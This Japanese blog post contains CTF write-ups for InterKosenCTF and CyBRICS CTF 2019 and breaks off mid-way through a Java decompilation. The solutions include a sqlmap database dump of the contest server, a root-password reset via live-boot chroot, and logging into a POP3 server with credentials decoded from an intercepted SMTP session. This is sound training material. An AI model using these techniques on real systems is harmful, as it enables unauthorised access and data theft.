InterKosenCTF Writeup
- InterKosenCTF について
- InterKosenCTF Writeup(8問)
InterKosenCTF について
InterKosenCTFが開催されました。
2019年8月11日午前10時~2019年8月12日午後10時(36時間)
今回たまたま紹介があったので参加しました。 タイトルにKosenと入っているので、高専生だけかと思いましたが、特にそういった制限はないようです。
競技がスタートしてからしばらくの間、ずっと504が返ってきており、フラグが投入できない感じになっていました。 午後から安定してきて、快適に使えるようになっていました。運営さんお疲れ様です。
今回は、2人のチームで参加しました。結果は、20/91位で3214点でした。 すべての問題を見れていませんが、他のCTFと違い、易しめの問題が多くあった印象でした。 SECCON Beginnersと同じぐらいの難易度だと思います。
InterKosenCTF Writeup(8問)
私が実際に解いた8つの問題だけを紹介します。
uploader(warmup, web)
問題
uploader:
TAGS: warmup, web
URL: http://web.kosenctf.com:11000/
解答例
http://web.kosenctf.com:11000/ にアクセスすると、ファイルのアップロードとダウンロードができるWebサービスが表示されました。
左上に「view source」とあり、ソースコードを見ることができるようです。 ソースコードを読んでみると、以下のようにGETパラメータをそのままSQL文に入れている箇所がありました。 SQLインジェクションができそうです。
テーブル名も見えているので、sqlmapでfilesテーブルをダンプさせました。
$ sqlmap -u "http://web.kosenctf.com:11000/?search=1" --dump -T files # 省略 +----+------------------------------------------+-----------------------------------------------+ | id | name | passcode | +----+------------------------------------------+-----------------------------------------------+ | 1 | secret_file | the_longer_the_stronger_than_more_complicated | | 2 | pay.php | t | | 3 | download20190804152602.png | hogehoge | | 4 | up1337.txt | 41414141 | | 5 | echo.php | 1234 | | 6 | hoge.txt | hogehoge | | 7 | payload.txt | test | | 8 | unko.php | 114514 | | 9 | hogehoge.txt | 5534bjhdhiudh | | 10 | test.txt | aaa | | 11 | fugefblwugjrwabgewagehwalufvwufvujbhrgrg | hogehoge | +----+------------------------------------------+-----------------------------------------------+ #省略
「secret_file」というファイルがあり、「passcode」も分かりました。 取得できた「passcode」でファイルをダウンロードすると、フラグが確認できました。
FLAG
KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}
basic crackme(easy, reversing)
問題
basic crackme:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/709fe7de50a7466099fd27a60ed457cd/basic_crackme.tar.gz
解答例
ファイルをダウンロードすると、64bitのELFバイナリが出てきました。
$ file crackme crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3dca344245681e2c75d9588284830d858770c1e0, for GNU/Linux 3.2.0, not stripped
とりあえず実行してみると、ヘルプが表示されました。 どうやらコマンドライン引数に正しいフラグを与えなければならないようです。
$ ./crackme <usage> ./crackme: <flag> $ ./crackme aaaaaaa Try harder!
バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、コマンドライン引数に指定したフラグの文字数分だけ比較をして正しければ、 「Yes. This is the your flag :)」と表示されるようになっていました。
試しに、「KosenCTF{」と入力してみると、「Yes. This is the your flag :)」と表示されました。
$ ./crackme KosenCTF{
Yes. This is the your flag :)
ここまで分かれば、後は総当たりでフラグを求めることができます。
import subprocess import sys import string def main(): flag = "KosenCTF{" while True: for ch in string.printable: test_flag = flag + ch res = subprocess.run(["./crackme", test_flag], stdout=subprocess.PIPE) answer = res.stdout if "Yes. This is the your flag :)" in answer.decode("utf-8"): flag = test_flag if ch == '}': print(flag) sys.exit() break if __name__ == "__main__": main()
$ python3 solve.py KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}
FLAG
KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}
Kurukuru Shuffle(easy, crypto)
問題
Kurukuru Shuffle:
TAGS: easy, crypto
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/dc802db1cbf94ae793680eeeb92b78b7/kurukuru_shuffle.tar.gz
解答例
ファイルをダウンロードすると、2つのファイル(shuffle.py、encrypted)が出てきました。
- shuffle.py
from secret import flag from random import randrange def is_prime(N): if N % 2 == 0: return False i = 3 while i * i < N: if N % i == 0: return False i += 2 return True L = len(flag) assert is_prime(L) encrypted = list(flag) k = randrange(1, L) while True: a = randrange(0, L) b = randrange(0, L) if a != b: break i = k for _ in range(L): s = (i + a) % L t = (i + b) % L encrypted[s], encrypted[t] = encrypted[t], encrypted[s] i = (i + k) % L encrypted = "".join(encrypted) print(encrypted)
- encrypted
1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm
タイトル通り、フラグを3つのランダムな値(k、a、b (1 ≦ k ≦ 53、a ≠ b))を基にシャッフルするプログラムとなっていました。 shuffle.pyと同じアルゴリズムを使い、総当たりで「encrypted」の文字列をシャッフルさせるプログラムを作成しました。
import itertools import re def main(): enc_flag = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm" L = len(enc_flag) flag_candidate = set() for k, a, b in itertools.product(range(0, L), repeat=3): encrypted = list(enc_flag) if k == 0 or a == b: continue i = k for _ in range(L): s = (i + a) % L t = (i + b) % L encrypted[s], encrypted[t] = encrypted[t], encrypted[s] i = (i + k) % L flag = "".join(encrypted) if re.match("^KosenCTF(.*)}$", flag): flag_candidate.add(flag) for flag in flag_candidate: print(flag) if __name__ == "__main__": main()
実行してみると以下の通り、3パターンのフラグが出力されました。 一番上のフラグが正しいフラグとなっていました。
$ python3 .\solve.py KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915} KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u} KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}
FLAG
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
Hugtto!(easy, forensics)
問題
Hugtto!:
TAGS: easy, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/ec6974b719ea4ea99fe2b7460b121297/hugtto.tar.gz
解答例
ファイルをダウンロードすると、2つのファイル(steg.py、steg_emiru.png)が出てきました。
- steg.py
from PIL import Image from secret import flag from datetime import datetime import tarfile import sys import random random.seed(int(datetime.now().timestamp())) bin_flag = [] for c in flag: for i in range(8): bin_flag.append((ord(c) >> i) & 1) img = Image.open("./emiru.png") new_img = Image.new("RGB", img.size) w, h = img.size i = 0 for x in range(w): for y in range(h): r, g, b = img.getpixel((x, y)) rnd = random.randint(0, 2) if rnd == 0: r = (r & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) elif rnd == 1: g = (g & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) elif rnd == 2: b = (b & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) i += 1 new_img.save("./steg_emiru.png") with tarfile.open("stegano.tar.gz", "w:gz") as tar: tar.add("./steg_emiru.png") tar.add(sys.argv[0])
- steg_emiru.png
ザっと見た感じ、ステガノグラフィ系の問題のようです。 ソースコードを読んでみるとsteg.pyは、以下の手順フラグを画像に隠していることが分かりました。
- 現在の時刻を基に乱数のseed値を生成する。
- フラグの文字列をビットに変換する。
- 0~2の乱数を生成し、0なら赤、1なら緑、2なら青の最下位ビットにフラグのビットを挿入する。
- 3を画像のピクセル数分繰り返す。
- 画像をtar.gzで圧縮し、ファイルとして保存する。
上記と逆の手順を行うプログラムを作成しました。 初期seed値が正確に分からないので、「steg_emiru.png」のタイムスタンプから1秒ずつ遡りながら、 可読文字列が現れるまで、復号を繰り返すようにしました。
from PIL import Image import string import random import os def decrypt_steg(timestamp, filepath): random.seed(timestamp) bin_flag = [] img = Image.open(filepath) w, h = img.size i = 0 for x in range(w): for y in range(h): r, g, b = img.getpixel((x, y)) rnd = random.randint(0, 2) if rnd == 0: r, g, b = img.getpixel((x, y)) bin_flag.append(r & 1) elif rnd == 1: r, g, b = img.getpixel((x, y)) bin_flag.append(g & 1) elif rnd == 2: r, g, b = img.getpixel((x, y)) bin_flag.append(b & 1) i += 1 flag = "" for b in zip(*[iter(bin_flag)] * 8): c = 0 for i in range(8): c = c | (b[i] << i) flag += chr(c) return flag def main(): filepath = "./steg_emiru.png" timestamp = int(os.stat(filepath).st_mtime) for i in range(10): flag = decrypt_steg(timestamp - i, filepath) if all(c in string.printable for c in flag): print(flag) break if __name__ == "__main__": main()
上記のプログラムを実行すると、フラグを取得することができました。
$ python3 .\solve.py KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}K # 省略
FLAG
KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}
lost world(easy, forensics)
問題
lost world:
TAGS: easy, forensics
FILE: https://mega.nz/#!xxMgQAyb!8NxVb2uLE-duIc5OardUdSNh_5j4QbbpxBggjZ0asvE
Message:
Can you restore my root user? I don't remember the password. Try runningdmesg | grep KosenCTF
after logging in.
解答例
大きめのファイルをダウンロードすると、vdi形式のファイル(lost_world.vdi)が出てきました。 問題にもある通り、パスワードを忘れてしまったPCにログインできれば、良いようです。 以下の手順でrootのパスワードを変更してログインすることにしました。
- VirtualBoxに「lost_world.vdi」とUbuntuのライブDVDを刺した状態にし、UbuntuのライブDVDを起動します。
- 「Ubuntuを試す」を選択する。
- Terminal(Ctrl-Alt-T)を起動する。
- rootユーザになる。
$ sudo su
- マウントすべきディスクを探す。
$ fdisk -l
- 対象のディスクをマウントする。
$ mkdir /mnt/lost_world $ mount /dev/sda1 /mnt/lost_world
- chrootでルートディレクトリを変更する。
$ chroot /mnt/lost_world
- rootのパスワードを任意の値に変更する。
$ passwd root
- 終了して再起動する。lost_world.vdi側を起動させる。
- rootユーザでログインします。
- 「dmesg | grep KosenCTF」と入力するとフラグが取得できます。
FLAG
KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}
magic function(easy, reversing)
問題
magic function:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/8e731bccdb9546bb94c03cee5bac62bf/magic_function.tar.gz
解答例
ファイルをダウンロードすると、64bitのELFバイナリが出てきました。
$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7f3589666f4eca86aca6d787459c5ae93987bb59, not stripped
とりあえず実行してみると、「NG」とだけ表示されます。
$ ./chall NG
バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、「basic crackme」と違い、今度はコマンドライン引数に完全なフラグを与える必要があるようです。 正しいフラグの場合、「OK」と表示されます。
今回は、angrを使って解きました。 フラグサイズ(0x18)と成功時に到達するアドレス(0x40086a)を指定しただけのスクリプトです。
import angr import claripy def main(): p = angr.Project("./chall") flag = claripy.BVS("flag", 8 * 0x18) state = p.factory.entry_state(args=["./chall", flag]) simgr = p.factory.simgr(state) simgr.explore(find=0x40086a) print(simgr.found[0].solver.eval(flag, cast_to=bytes)) if __name__ == "__main__": main()
上記スクリプトを実行すると、フラグが表示されました。
FLAG
KosenCTF{fl4ggy_p0lyn0m}
passcode(easy, reversing)
問題
passcode:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/6a5e27eb80a44468ad8bf77c2a94a16a/passcode.tar.gz
解答例
ファイルをダウンロードすると、32bitのPEファイルが出てきました。
$ file passcode.exe passcode.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
とりあえず実行してみると、以下のようなキーパットが出てきました。 この9つのボタンを正しく入力すると、フラグが出てくるようです。
32bitの.NET assemblyなので、dnspy-x86で開いてみました。
// 省略 namespace passcode { // Token: 0x02000002 RID: 2 public class Form1 : Form { // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250 public Form1() { this.InitializeComponent(); this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838" select (int)(c - '0')).ToList<int>(); this.debug(); this.reset(); } // Token: 0x06000002 RID: 2 RVA: 0x000020AC File Offset: 0x000002AC private void reset() { this.vars = new List<int> { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; this.indices = new List<int>(); this.state = new List<int>(); } // Token: 0x06000003 RID: 3 RVA: 0x0000211C File Offset: 0x0000031C private void shuffle() { int num = 0; foreach (int num2 in this.state) { num = num * 10 + num2; } Random random = new Random(num); for (int i = 0; i < 9; i++) { int index = random.Next(9); int value = this.vars[i]; this.vars[i] = this.vars[index]; this.vars[index] = value; } } // Token: 0x06000004 RID: 4 RVA: 0x000021CC File Offset: 0x000003CC private void push(int index) { this.indices.Add(index); this.state.Add(this.vars[index]); this.shuffle(); if (this.state.SequenceEqual(this.correct_state)) { string text = ""; for (int i = 0; i < this.indices.Count / 3; i++) { text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString(); } MessageBox.Show(text, "Correct!"); } } // Token: 0x06000005 RID: 5 RVA: 0x00002284 File Offset: 0x00000484 private void Button1_Click(object sender, EventArgs e) { int index = int.Parse(((Button)sender).Name.Substring(6)) - 1; this.push(index); } // 省略
ソースコードを読んでみると、正しいstateになるようにキーを123回入力する必要があるようです。 しかも、キー入力のたびに、shuffle関数によって、入力値がランダムで並び替えられてしまいます。 幸いにもseed値は、現在のstateから算出しているため容易に予測することができます。
上記のことを踏まえ、dnspy-x86の機能を使い、以下のようにpush関数を書き換えました。 どれかのボタンが入力されると、フラグが出力されるように変更しています。
private void push(int index) { for (int i = 0; i < 123; i++) { for (int j = 0; j < 9; j++) { if (this.vars[j] == this.correct_state[i]) { this.indices.Add(j); this.state.Add(this.vars[j]); } } this.shuffle(); } if (this.state.SequenceEqual(this.correct_state)) { string text = ""; for (int k = 0; k < this.indices.Count / 3; k++) { text += ((char)(this.indices[k * 3] * 64 + this.indices[k * 3 + 1] * 8 + this.indices[k * 3 + 2])).ToString(); } MessageBox.Show(text, "Correct!"); Console.WriteLine(text); } }
実行すると、メッセージボックスにフラグが出力されます。
FLAG
KosenCTF{pr3tty_3asy_r3v3rsing_cha11enge}
saferm(medium, forensics)
問題
saferm:
TAGS: medium, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/627b4d6651844980ba3eb28b52be3f11/saferm.tar.gz
解答例
ファイルをダウンロードすると、ディスクイメージ(disk.img)が出てきました。
$ file disk.img disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,0,2), end-CHS (0x1,70,5), startsector 1, 20479 sectors
Autopsyでdisk.imgを開くと、2つの怪しいファイル(saferm、document.zip)が出てきました。
safermは、64bitのELFファイル、document.zipは壊れているようです。
$ file saferm saferm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=56290bd1c9e89a65dad224953667d84270822d9a, not stripped $ file document.zip document.zip: data
safermは、ELFファイルなので、Ghidraで開いてみました。
デコンパイル結果を読んでみると、/dev/urandomから8バイト取得し、その値をキーにXORでデータを暗号化しているようでした。 おそらく、document.zipは、safermで暗号化されたようです。
document.zipは、おそらくzipファイルなので、zipヘッダを基にXORキーを求めました (XORキー = 「50 4B 03 04 14 00 00 00」^ 「7E 1C AE 2A EB C8 CA 49」)。
今回は、CyberChefでXORキーを求めました。
求めたXORキー(2E 57 ad 2E FF C8 CA 49)を基にdocument.zipを復号します。
復号したzipファイルを展開すると、document.pdfが入っていました。 このファイルを開くと、フラグを確認することができました。
FLAG
KosenCTF{p00r_shr3dd3r}
CyBRICS CTF 2019 Writeup
- CyBRICS CTF 2019 について
- CyBRICS CTF 2019 Writeup(10問)
- Mic Check (Cyber, Baby, 10 pts)
- Warmup (Web, Baby, 10 pts)
- Sender (Network, Baby, 10 pts)
- Honey, Help! (rebyC, Baby, 10 pts)
- Tone (Forensic, Baby, 10 pts)
- Oldman Reverse (Reverse, Baby, 10 pts)
- Matreshka (Reverse, Easy, 50 pts)
- Disk Data (Forensic, Easy, 56 pts)
- QShell (Cyber, Easy, 50 pts)
- Bitkoff Bank (Web, Easy, 50 pts)
CyBRICS CTF 2019 について
CyBRICS CTF 2019 が開催されました。
2019年7月20日 午後7時~7月21日 午後7時(24時間)
CyBRICS CTF 2019は、1位~3位に賞金の出る大会です。 なんと、1位は、10,000 USDももらえるそうです。 ただし、参加制限があり、残念ながら国籍フィルターで日本人は除外されてしまいます。
BRICS — that you're from Brazil, Russia, India, China or South Africa;
今回は、「バラバラで参加しよう」という話になり、一人で参加しました。 結果は、92/775位で266点でした。 幅広いジャンルでの問題が多かった印象です。 難易度も易しいものから高難易度の問題まで幅広く用意されていました。 一人では全然時間が足りなかったので、次回は複数人で参加したいです。
CyBRICS CTF 2019 Writeup(10問)
Mic Check (Cyber, Baby, 10 pts)
問題
Have you read the game rules? There's a flag there.
解答例
Welcome問題、ゲームルールのリンク先にあるフラグを投入するだけ。
FLAG
cybrics{W3lc0M3_t0_t3h_G4M#}
Warmup (Web, Baby, 10 pts)
問題
E_TOO_EASY
Just get the flag
解答例
問題のリンクをクリックすると、304で別のページにリダイレクトされてしまいます。 curlで直接リンク先を確認すると、末尾にBase64でエンコードされたデータが確認できました。
$ curl http://45.32.148.106 <html> <script language="JavaScript"> function func() { document.location.href = 'final.html' } </script> <body onload=func()> <p> But at this moment to take its place?<br/> It’s getting cold,” said Zametov. “Only the other end, waiting for her brother, but she said that he had come to that, nervous irritability from hunger, she falls to beating them at once, and warmly pressed his head was clear that he was talking nonsense, Sonia,” he muttered bitterly.<br/> 省略 And what if I hear any rumours, I’ll take it back in time,” struck him like a chicken in the stinking, dusty town air.<br/> Such was the hundredth part of Russia on a line you won’t be angry with me at once whispered almost aloud to the pavement.<br/> She was a lie at first?”<br/> Dounia remembered her pale lips was full of people in it when we spoke of you at least!<br/> For if Sonia has not gone off on the untouched veal, which was in great haste.<br/> She gave me with their long manes, thick legs, and slow even pace, drawing along a perfect right to kill him as strange and shocking sight.<br/> Here is your base64-encoded flag: Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0= </p></body></html>
Base64でデコードすると、フラグを取得することができました。
$ echo "Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=" | base64 -d cybrics{4b646c7985fec6189dadf8822955b034}
FLAG
cybrics{4b646c7985fec6189dadf8822955b034}
Sender (Network, Baby, 10 pts)
問題
We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that.
intercepted_text.txt
Get us their secret documents
添付ファイル(intercepted_text.txt)
220 ugm.cybrics.net ESMTP Postfix (Ubuntu) EHLO localhost 250-ugm.cybrics.net 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN AUTH LOGIN 334 VXNlcm5hbWU6 ZmF3a2Vz 334 UGFzc3dvcmQ6 Q29tYmluNHQxb25YWFk= 235 2.7.0 Authentication successful MAIL FROM: <fawkes@ugm.cybrics.net> 250 2.1.0 Ok RCPT TO: <area51@af.mil> 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> From: fawkes <fawkes@ugm.cybrics.net> To: Area51 <area51@af.mil> Subject: add - archive pw Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 =62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63= =68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74= =6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A . 250 2.0.0 Ok: queued as C4D593E8B6 QUIT 221 2.0.0 Bye
解答例
末尾の方に Quoted-printable でエンコードされたデータがあるので、とりあえずデコードしてみました。
=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63= =68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74= =6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
デコードするとパスワードが手に入りました。 フラグは、アーカイブファイルの中にあるようです。
btw. password for the archive with flag: crack0Weston88vertebra cheers!
次に、問題文の先頭にあるドメインを足掛かりに調べます。 とりあえず、nmapで調査をしてみます。 sshとpop3のポートが開いていることが分かりました。
PS> nmap ugm.cybrics.net Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-20 20:17 ???? (?W???) Nmap scan report for ugm.cybrics.net (136.244.67.129) Host is up (0.24s latency). rDNS record for 136.244.67.129: 136.244.67.129.vultr.com Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 110/tcp open pop3 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 13.71 seconds
問題文に書かれているものは、pop3のコマンド履歴だったようです。 また、問題文の「AUTH LOGIN」付近を見ると、ログインユーザとパスワードがBase64でエンコードされていました。
$ echo "ZmF3a2Vz" | base64 -d fawkes $ echo "Q29tYmluNHQxb25YWFk=" | base64 -d Combin4t1onXXY
ユーザ名、パスワードが分かったので、telnetで接続します。 接続できたら、「LIST」コマンドでメール一覧を確認し、「RETR <メール番号>」コマンドでメール内容を確認します。
$ telnet ugm.cybrics.net 110 USER fawkes PASS Combin4t1onXXY LIST RETR 1
メールを確認すると、zipファイルが添付されているようです。 Base64でエンコードされているので、デコードすると暗号付きzipファイルが出てきました。
Return-Path: <fawkes@ugm.cybrics.net> X-Original-To: fawkes@ugm.cybrics.net Delivered-To: fawkes@ugm.cybrics.net Received: by sender (Postfix, from userid 1000) id B83843EBFF; Thu, 18 Jul 2019 16:41:23 +0000 (UTC) Date: Thu, 18 Jul 2019 16:41:23 +0000 From: fawkes <fawkes@ugm.cybrics.net> To: Area51 <area51@af.mil>, fawkes <fawkes@ugm.cybrics.net> Subject: interesting archive Message-ID: <20190718164123.GA9631@ugm.cybrics.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="J2SCkAp4GZ/dPZZf" Content-Disposition: inline User-Agent: Mutt/1.5.24 (2015-08-30) --J2SCkAp4GZ/dPZZf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline take a look. dont share. secret. --J2SCkAp4GZ/dPZZf Content-Type: application/zip Content-Disposition: attachment; filename="secret_flag.zip" Content-Transfer-Encoding: base64 UEsDBBQACQBjAMua8k6A+vIXUogBAA+iAQAPAAsAc2VjcmV0X2ZsYWcucGRmAZkHAAEAQUUD CAC1GtwFWQRy7mwXUpknBhOJ3hpnDv1ei1Kf+knOhoW61yeyPdnML4vSrff+GUxQYCGKz6SB txgPjLvcWjoZokQBxFczx5575Z8Wv6dcwrX2X5A4WUFP+vpXBeq7E/c1Q7T87mR2WJnrhqLs 253Zoz1KC2kq+Gs/KXZILyxSzFWW6h7YLlozE6ru/f8WGtlLZzw5CXMdTcaZFGBjJX9jsqqY 以下省略
冒頭で取得したパスワードを使って展開すると、PDFファイルが出てきました。 PDFファイルを開くと、フラグが書かれていました。
FLAG
cybrics{Y0uV3_G0T_m41L}
Honey, Help! (rebyC, Baby, 10 pts)
問題
Added at 10:50 UTC: there was a typo in the flag. Please re-submit.
HONEY HELP!!!
I was working in my Kali MATE, pressed something, AND EVERYTHING DISAPPEARED!I even copied the text from terminal
リンク先のファイル(text from terminal)
root@myLOVELYcomputer:~/cybrics# ls -la total 12 drwxr-xr-x 2 root root 4096 Jul 22 2019 . drwxr-xr-x 21 root root 4096 Jul 22 2019 .. -rw-r--r-- 1 root root 44 Jul 22 2019 flag root@myLOVELYcomputer:~/cybrics# echo $'\e(0' ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ┌⎽ -┌▒ ├⎺├▒┌ 12 ␍⎼┬│⎼-│⎼-│ 2 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22 2019 . ␍⎼┬│⎼-│⎼-│ 21 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22 2019 .. -⎼┬-⎼--⎼-- 1 ⎼⎺⎺├ ⎼⎺⎺├ 44 J┤┌ 22 2019 °┌▒± ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ␌▒├ °┌▒± ␌≤␉⎼␋␌⎽π0┌≤_␌⎼4⎻_1⎽_├␋⎽_▒┌13┼␋$_0⎼_┬4├?£ ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽#
解答例
自分のPCで実際に echo $'\e(0'
を実行して、気合で置換していきました。
もっとスマートな解き方が知りたい。
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
と入力すると、以下のようになります。
FLAG
cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}
Tone (Forensic, Baby, 10 pts)
問題
Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!
youtu.be/11k0n7TOYeM
解答例
リンクを踏むと、限定公開のYoutubeの動画に飛ばされます。 よく耳を澄ますと、電話の入力音(DTMF)が聞こえてきます。
Youtubeの音声を録音し、Audacityで少しずつ再生しながら耳コピしました。 個人的には、再生速度を上げると違いが分かりやすかったです。
音声の比較対象として、こちらのサイトも参考にしました。
耳コピした結果が以下の通りとなります。
222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666 66 2 555 333 555 2 4
これらの番号は、携帯電話のキーパッドと対応しています。 割り当てると、以下の通りになります。
c y b r i c s s e c r e t t o n a l f l a g
フラグの形式に合わせて整形したものが、フラグとなります。
FLAG
cybrics{secret tonal flag}
Oldman Reverse (Reverse, Baby, 10 pts)
問題
I've found this file in my grandfather garage. Help me understand what it does
oldman.asm
添付ファイル(oldman.asm)
.MCALL .TTYOUT,.EXIT START: mov #MSG r1 mov #0d r2 mov #32d r3 loop: mov #MSG r1 add r2 r1 movb (r1) r0 .TTYOUT sub #1d r3 cmp #0 r3 beq DONE add #33d r2 swab r2 clrb r2 swab r2 br loop DONE: .EXIT MSG: .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}" .end START
解答例
見慣れない命令(swabやclrb)を調べていると、PDP-11と呼ばれる古いコンピュータのアセンブリだということが分かりました。
アセンブリを読んでいくと、33文字毎にMSGをローテートして表示するプログラムのようです。 C言語に読み換えて実装してみました。このプログラムを実行すると、フラグが取得できます。
#include <stdio.h> #include <string.h> int main(void) { char msg[] = "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"; int i; for (i = 0; i < 32; i++) { char tmp[100] = {}; putchar(*msg); memcpy(tmp, msg, 33); memmove(msg, msg + 33, strlen(msg) - 33); memcpy(msg + strlen(msg) - 33, tmp, 33); } putchar('\n'); return 0; }
FLAG
cybrics{pdp_gpg_crc_dtd_bkb_php}
Matreshka (Reverse, Easy, 50 pts)
問題
Matreshka hides flag. Open it
matreshka.zip
解答例
zipファイルを展開すると、クラスファイルとdataファイルが入っていました。
$ file * Code2.class: compiled Java class data, version 54.0 data.bin: data
とりあえず実行してみると、Noと表示されます。
PS> java.exe Code2 No
PS> jad.exe .\Code2.class Parsing .\Code2.class... Generating Code2.jad
デコンパイル結果を確認すると、どうやらユーザ名が正しくないと「No」となってしまうようです。
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: 2.java import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Code2 { Code2() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static byte[] encode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(1, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; byte abyte0[] = 